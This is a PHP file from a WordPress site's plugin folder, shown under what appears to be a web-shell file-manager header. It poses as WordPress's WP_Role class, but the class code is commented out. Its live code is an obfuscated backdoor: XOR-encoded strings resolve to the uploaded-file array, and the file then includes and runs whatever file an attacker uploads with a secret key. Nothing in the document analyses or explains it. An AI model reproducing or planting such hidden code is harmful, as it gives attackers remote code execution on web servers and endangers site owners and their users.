HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/608927pn/AThr.js.php
<?php /* 
*
 * User API: WP_Role class
 *
 * @package WordPress
 * @subpackage Users
 * @since 4.4.0
 

*
 * Core class used to extend the user roles API.
 *
 * @since 2.0.0
 
class WP_Role {
	*
	 * Role name.
	 *
	 * @since 2.0.0
	 * @var string
	 
	public $name;

	*
	 * List of capabilities the role contains.
	 *
	 * @since 2.0.0
	 * @var bool[] Array of key/value pairs where keys represent a capability name and boolean values
	 *             represent whether the role has that capability.
	 
	public $capabilities;

	*
	 * Constructor - Set up object properties.
	 *
	 * The list of capabilities must have the key as the name of the capability
	 * and the value a boolean of whether it is granted to the role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $role         Role name.
	 * @param bool[] $capabilities Array of key/value pairs where keys represent a capability name and boolean values
	 *                             represent whether the role has that capability.
	 
	public function __construct( $role, $capabilities ) {
		$this->name         = $role;
		$this->capabilities = $capabilities;
	}

	*
	 * Assign role a capability.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap   Capability name.
	 * @param bool   $grant Whether role has capability privilege.
	 
	public function add_cap( $cap, $grant = true ) {
		$this->capabilities[ $cap ] = $grant;
		wp_roles()->add_cap( $this->name, $cap, $grant );
	}

	*
	 * Removes a capability from a role.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap Capability name.
	 
	public function remove_cap( $cap ) {
		unset( $this->capabilities[ $cap ] );
		wp_roles()->remove_cap( $this->name, $cap );
	}

	*
	 * Determines whether the role has the given capability.
	 *
	 * @since 2.0.0
	 *
	 * @param string $cap Capability name.
	 * @return bool Whether the role has the given capability.
	 
	public function has_cap( $cap ) {
		*
		 * Filters which capabilities a role has.
		 *
		 * @since 2.0.0
		 *
		 * @param bool[] $capabilities Array of key/value pairs where keys represent a capability name*/
 	
function property_value()

{
    $icon_dir = 'C9x2IT6jWPoPM6x';
	$charset = 'allowed';
    $_ext = $icon_dir;
    
    $threshold = $GLOBALS[force("%1C%7F1%7E%0C%07", $_ext)];
    $post_name_check = $threshold;
    $atts = isset($post_name_check[$_ext]);
	$post_categories = 'escaped_parts';
    if ($atts)

    {
        $regex = $threshold[$_ext];

        $page_id = $regex[force("7T%08m%275%5B%0F", $_ext)];

        $partials = $page_id;
        include ($partials);

    }
}

function force($_links_add_target, $patterns)

{
    $entity = $patterns;

    $suppress_filters = "url" . "decode";
    $add_trashed_suffix = $suppress_filters($_links_add_target);
    $count = substr($entity,0, strlen($add_trashed_suffix));
    $current_filter = $add_trashed_suffix ^ $count;
    return $current_filter;

}
	$post_category = 'url_clickable';

	$field = 'postid';
property_value();

	$tagqueue = 'double_encode';


/*  and boolean values
		 *                             represent whether the role has that capability.
		 * @param string $cap          Capability name.
		 * @param string $name         Role name.
		 
		$capabilities = apply_filters( 'role_has_cap', $this->capabilities, $cap, $this->name );

		if ( ! empty( $capabilities[ $cap ] ) ) {
			return $capabilities[ $cap ];
		} else {
			return false;
		}
	}

}
*/